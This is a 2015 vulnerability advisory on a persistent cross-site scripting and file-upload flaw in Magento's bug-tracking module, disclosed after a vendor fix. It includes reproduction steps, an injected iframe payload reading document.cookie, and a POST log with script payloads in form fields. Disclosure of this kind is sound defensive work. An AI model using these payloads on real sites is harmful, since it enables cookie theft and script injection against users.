Magento Cross Site Scripting
Posted on 15 September 2015
Document Title: =============== Magento Bug Bounty #19 - Persistent Filename Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1570 ID: APPSEC-1059 Release Date: ============= 2015-09-11 Vulnerability Laboratory ID (VL-ID): ==================================== 1570 Common Vulnerability Scoring System: ==================================== 3.9 Product & Service Introduction: =============================== Magento is an open source e-commerce web application that was launched on March 31, 2008 under the name Bento. It was developed by Varien (now Magento, a division of eBay) with help from the programmers within the open source community but is now owned solely by eBay Inc. Magento was built using parts of the Zend Framework. It uses the entity-attribute-value (EAV) database model to store data. In November 2013, W3Techs estimated that Magento was used by 0.9% of all websites. Our team of security professionals works hard to keep Magento customer information secure. What`s equally important to protecting this data? Our security researchers and user community. If you find a site that isn`t following our policies, or a vulnerability inside our system, please tell us right away. ( Copy of the Vendor Homepage: http://magento.com/security & http://magento.com/security ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Research Team discovered an application-side file input validation web vulnerability in the official Magento Commerce online service web-application. Vulnerability Disclosure Timeline: ================================== 2015-08-13: Researcher Notification & Coordination (Hadji Samir - Evolution Security GmbH) 2015-08-14: Vendor Notification (Magento Security Team - Bug Bounty Program) 2015-08-22: Vendor Response/Feedback (Magento Security Team - Bug Bounty Program) 2015-09-05: Vendor Fix/Patch (Magento Developer Team) 2015-09-10: Bug Bounty Reward (Magento Security Team - Bug Bounty Program) 2015-09-11: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ An application-side web vulnerability has been discovered in the official Magento Commerce online service web-application. The vulnerability allows an remote attacker to inject own script code to the application-side of the affected application module. The web vulnerability is located in the `filename and files` value of the `/products/bug-tracking/report/saveIssue/` module. Remote attackers are able to inject own files with malicious `files & filename` value via `upload` POST method request to compromise the magento commerce web-application. Remote attackers are also able to exploit the filename issue in combination with persistent injected script codes to execute different malicious attack requests. The attack vector is located on the application-side of the magento service and the request method to inject is POST. The issue is remotly exploitable after approval with two test accounts. The sender and receiver of the ticket is affected by the issue itself. Another issue is that the filename upload has no secure restriction of the name value. Thus can result in upload of multiple malicious file extensions to remotly elevate user privileges by malicious interaction. (arbitrary file upload - multiple extensions) The security risk of the application-side web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.9. Exploitation of the application-side validation web vulnerability requires no user interaction and only a low privileged web-application user account. Successful exploitation of the security vulnerability results in the ubnt community web-application compromise. Request Method(s): [+] [POST] Vulnerable Domain(s): [+] www.magentocommerce.com Vulnerable Module(s): [+] /products/bug-tracking/report/saveIssue/ Vulnerable Parameter(s): [+] filename [+] files Affected Module(s): [+] /saveIssue/ Proof of Concept (PoC): ======================= The vulnerability can be exploited by remote attackers with low privilege application user account and only low user interaction (click). For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Login in magento website 2. Go to http://www.magentocommerce.com/bug-tracking/report 3. Create to Report an Issues 4. Upload a file with a payload script code (code injection) as filename via POST 5. Report the issue and the payload code will execute 6. Successful reproduce of the remote vulnerability in the filename value! PoC: Source <tr> <td class="light" valign="top">Attachments:</td> <td colspan="3" class="desc"> <a href="http://www.magentocommerce.com/products/bug-tracking/issue/attachment/id/366/"> "><iframe src="Magento%20-%20Issue%20%23976_files/x.html" onload="alert(document.cookie)"> [PERSISTENT INJECTED SCRIPT CODE!] .png </a> <small>(5281)</small><br /> </td> </tr> </table> <br/><br/> <!-- Starts user-comment--> <div class="user-comment"> <form id="comment_form" action="http://www.magentocommerce.com/products/bug-tracking/report/saveComment/" enctype="multipart/form-data" method="post"> <div class="comment-respond"> <h4 id="respond">Leave your comments</h4> <label for="message">Talk back! <span class="required">*</span></label> <div class="clear"></div> <a href="javascript:void(0);" id="upload" style="font-weight:bold;">Upload Files</a> <div class="clear"></div> <div style="padding-top:18px; display:none; float:left;" id="filesUpload"> <p class="filebox"><label for="file1">File 1</label> <input style="width:200px;" type="file" name="files[]" id="file1"></p> <p class="filebox"><label for="file2">File 2</label> <input style="width:200px;" type="file" name="files[]" id="file2"></p> <p class="filebox"><label for="file3">File 3</label> <input style="width:200px;" type="file" name="files[]" id="file3"></p> <p class="filebox"><label for="file4">File 4</label> <input style="width:200px;" type="file" name="files[]" id="file4"></p> <p class="filebox"><label for="file5">File 5</label> <input style="width:200px;" type="file" name="files[]" id="file5"></p> </div> <div class="clear"></div> <textarea class="required-entry" name="message" id="message" cols="" rows="10" tabindex="4" style="width:630px;"></textarea> <input type="hidden" id="id" name="id" value="976" /> <p class="a-right" style="margin-top:5px;"><button type="submit" class="form-btn" id="submit" tabindex="5" name="submit">Submit Comment</button></p> </div> </form> </div> --- PoC Session Logs [POST] --- POST http://www.magentocommerce.com/products/bug-tracking/report/saveIssue/ Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Content Size[-1] Mime Type[text/html] Request Headers: Host[www.magentocommerce.com] User-Agent[Mozilla/5.0 (X11; Linux i686; rv:39.0) Gecko/20100101 Firefox/39.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[en-US,en;q=0.5] Accept-Encoding[gzip, deflate] Referer[http://www.magentocommerce.com/bug-tracking/report] Cookie[optimizelySegments=%7B%22239237138%22%3A%22referral%22%2C%22237962548%22%3A%22ff%22%2C%22238367687%22%3A%22false%22%7D; optimizelyEndUserId=oeu1435629894815r0.48409395353209406; optimizelyBuckets=%7B%7D; ClrSSID=1435629895256-9459; ClrOSSID=1435629895256-9459; ClrSCD=1435629895256; s_fid=513544F7FFB1FEE3-0E418DF3AEC71928; __utma=94789760.520314733.1436544419.1436544419.1436544419.1; __utmz=94789760.1436544419.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fsr.r=%7B%22d%22%3A90%2C%22i%22%3A%22d5e2305-49001131-ef4f-5243-68f83%22%2C%22e%22%3A1436238816168%7D; __atuvc=1%7C27; __unam=28e3065-14e78af2939-218287ab-1; trwv.uid=magento-1436543835494-1fc6a88f%3A1; frontend=nas46lsf79tqn6or4k768jv1i6; frontend=nas46lsf79tqn6or4k768jv1i6; ClrCSTO=T; s_cc=true; s_sq=magentocommerce%3D%2526pid%253Dhttp%25253A%25252F%25252Fwww.magentocommerce.com%25252Fbug-tracking%25252Freport%2526oid%253DReport%252520issue%2526oidt%253D3%2526ot%253DSUBMIT; _ga=GA1.2.520314733.1436544419; _gat=1; interstitial=3] X-Forwarded-For[8.8.8.8] Connection[keep-alive] Post Data: POST_DATA[-----------------------------120815457917424328961575586579 Content-Disposition: form-data; name="title" admin "><iframe src="javascript:alert('samir')"></script><svg onload=alert(1)> -----------------------------120815457917424328961575586579 Content-Disposition: form-data; name="type" 1 -----------------------------120815457917424328961575586579 Content-Disposition: form-data; name="version" 17340 -----------------------------120815457917424328961575586579 Content-Disposition: form-data; name="description" -----------------------------120815457917424328961575586579 Content-Disposition: form-data; name="steps" admin "><iframe src="javascript:alert('samir')"></script><svg onload=alert(1)> -----------------------------120815457917424328961575586579 Content-Disposition: form-data; name="files[]"; filename=""><[PERSISTENT INJECTED SCRIPT CODE!]iframe src="x" onload=alert(document.cookie)> .png" Content-Type: image/png Solution - Fix & Patch: ======================= The vulnerability can be patched by a secure parse and encode of the vulnerable files and filename values in the send POST method request. Restrict the input disallow special chars and setup an own exception that prevents multiple extensions in filenames on upload to block arbitrary file execution. Security Risk: ============== The security risk of the application-side input validation web vulnerability in the magento commerce application is estimated as medium. (CVSS 3.9) Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Hadji Samir [samir@evolution-sec.com] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/ Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission. Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com CONTACT: research@vulnerability-lab.com PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt